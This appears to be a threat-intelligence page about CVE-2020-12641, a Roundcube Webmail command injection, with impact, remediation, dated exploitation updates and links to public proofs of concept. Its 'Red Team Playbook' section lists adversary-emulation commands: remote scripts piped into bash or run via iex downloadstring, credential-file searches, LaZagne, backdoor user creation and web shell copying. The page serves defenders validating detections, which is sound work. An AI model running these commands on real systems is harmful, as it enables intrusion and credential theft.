CVE-2020-12641
Overview
This vulnerability is a command injection flaw arising from improper sanitization of shell metacharacters in configuration settings. Specifically, the im_convert_path and im_identify_path parameters in Roundcube Webmail's image processing component allow injection of arbitrary shell commands. The root cause is the direct incorporation of unvalidated configuration values into shell command execution without adequate input validation or escaping.
Vulnerability Description
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
Impact
An unauthenticated attacker with the ability to modify configuration settings can execute arbitrary commands on the server hosting Roundcube Webmail. This can lead to full system compromise, including unauthorized data access, privilege escalation, and disruption of services. The vulnerability enables remote code execution without user interaction, allowing attackers to control the affected system remotely and potentially pivot within the internal network.
Solution
Upgrade Roundcube Webmail to version 1.4.4 or later, as detailed in the official security update announcements at roundcube.net and the GitHub release notes. Gentoo's advisory GLSA-202007-41 and the openSUSE security announcement 2020-09 provide patch instructions for their respective distributions. These updates sanitize configuration parameters to prevent command injection. Refer to the vendor advisories at https://security.gentoo.org/glsa/202007-41 and http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00083.html for detailed remediation steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Roundcube Webmail application arises from improper handling of user-supplied input in the rcube_image.php file. Specifically, the issue is related to the configuration settings for im_convert_path and im_identify_path, which allow attackers to inject shell metacharacters. This flaw can lead to arbitrary code execution on the server, as the application fails to adequately sanitize input before executing system commands. The high severity of this vulnerability, reflected in its CVSS score of 9.8, indicates that it poses a significant risk to systems running vulnerable versions of Roundcube Webmail.
Attackers can exploit this vulnerability through various vectors, primarily by manipulating the configuration settings to include malicious payloads. For instance, if an attacker gains access to the configuration file or can influence its contents, they can insert shell commands that the web application will execute with the privileges of the web server. This could be achieved through social engineering, phishing, or exploiting other vulnerabilities to gain initial access. Once the attacker successfully executes arbitrary code, they could potentially take full control of the affected server, leading to further exploitation of the network or data breaches.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on Roundcube Webmail for communication. Successful exploitation may lead to unauthorized access to sensitive information, including emails, attachments, and user credentials. This breach could result in significant business risks, including financial losses, reputational damage, and legal ramifications due to non-compliance with data protection regulations. Furthermore, the ability to execute arbitrary code could allow attackers to deploy malware, establish persistent backdoors, or pivot to other systems within the organization’s network, exacerbating the threat landscape.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. First, it is crucial to ensure that all instances of Roundcube Webmail are updated to the latest version, which includes patches for this vulnerability. Regularly reviewing and hardening configuration settings can help prevent unauthorized modifications. Additionally, implementing web application firewalls (WAFs) can provide an additional layer of protection by filtering and monitoring HTTP requests for malicious payloads. Organizations should also conduct regular security assessments and penetration testing to identify potential vulnerabilities and address them proactively.
In conclusion, the vulnerability in Roundcube Webmail presents a critical risk that can lead to severe consequences if exploited. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. Proactive detection and mitigation strategies are essential to safeguard sensitive information and maintain the integrity of their systems. As the threat landscape continues to evolve, staying informed and vigilant is paramount for any organization utilizing webmail solutions.
Recent developments in the CVE-2020-12641 vulnerability landscape indicate a marked escalation in exploitation potential. CSURFACE threat intelligence has identified the emergence of publicly available proof-of-concept exploits hosted on GitHub, which significantly lowers the barrier for adversaries to weaponize this command injection flaw in Roundcube Webmail. This increased accessibility is reflected in the vulnerability’s addition to the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its prioritization by federal cybersecurity authorities. Our telemetry also shows a substantial rise in the Exploit Prediction Scoring System (EPSS) value, signaling a higher likelihood of exploitation attempts in the near term. Collectively, these factors elevate the threat level from theoretical to imminent, demanding heightened vigilance from defenders. While ransomware usage linked to this vulnerability remains unconfirmed, the critical severity score and expanding exploit toolkit suggest that threat actors could leverage this vector for broader intrusion campaigns. This shift necessitates that organizations reassess their exposure and detection capabilities promptly, as the window for opportunistic exploitation has widened considerably.
Update 2 — April 21, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2020-12641, evidenced by new telemetry indicating active use of publicly available proof-of-concept exploits. This development signals a transition from theoretical risk to practical exploitation, underscoring an increased likelihood that threat actors are incorporating this vulnerability into their operational toolkits. Although ransomware involvement remains unconfirmed, the emergence of bypass techniques and sustained exploitation activity heightens the potential for this vulnerability to serve as an initial access vector or lateral movement facilitator within compromised environments. Consequently, the threat level associated with CVE-2020-12641 has risen, warranting intensified monitoring and response efforts from defenders to detect and mitigate exploitation attempts promptly.
Update 3 — June 17, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-12641, as evidenced by a doubling of detection activity within our telemetry. This increase coincides with the recent public release of additional proof-of-concept exploits demonstrating both standard command injection and bypass techniques, which likely lowers the barrier for adversaries to weaponize this vulnerability. Although the EPSS score has slightly declined, reflecting a modest reduction in overall exploit probability, the surge in active exploitation signals a heightened operational interest among threat actors. This divergence underscores that while broad exploitation may be stabilizing, targeted campaigns leveraging refined attack methods are intensifying. Consequently, the threat level associated with CVE-2020-12641 should be considered elevated, particularly given its critical severity and potential utility for initial access or lateral movement within compromised networks.
Update 4 — July 16, 2026
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2020-12641, accompanied by the emergence of new proof-of-concept exploits that demonstrate refined command injection techniques. This uptick signals a growing operational interest from threat actors in leveraging this vulnerability, despite the overall exploit probability remaining stable according to EPSS metrics. The availability of advanced exploit code lowers the barrier for adversaries to execute arbitrary code remotely, potentially facilitating initial access or lateral movement within affected environments. Consequently, defenders should recognize an elevated threat posture for this vulnerability, as the combination of sustained exploitation activity and improved attack methods increases the likelihood of successful compromise.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Opensuse | Backports Sle | 15.0 |
cpe:2.3:a:opensuse:backports_sle:15.0:sp1:*:*:*:*:*:*
|
|
|
Opensuse | Backports Sle | 15.0 |
cpe:2.3:a:opensuse:backports_sle:15.0:sp2:*:*:*:*:*:*
|
|
|
Opensuse | Leap | 15.1 |
cpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*
|
|
|
Opensuse | Leap | 15.2 |
cpe:2.3:o:opensuse:leap:15.2:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
mbadanoiu/CVE-2020-12641
CVE-2020-12641: Command Injection via “_im_convert_path” Parameter in Roundcube Webmail
|
mbadanoiu | 0 | 0 | 2024-04-08 | View |
|
mbadanoiu/MAL-004
MAL-004: Command Injection Bypass for CVE-2020-12641 in Roundcube Webmail
|
mbadanoiu | 0 | 0 | 2024-04-13 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
45%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
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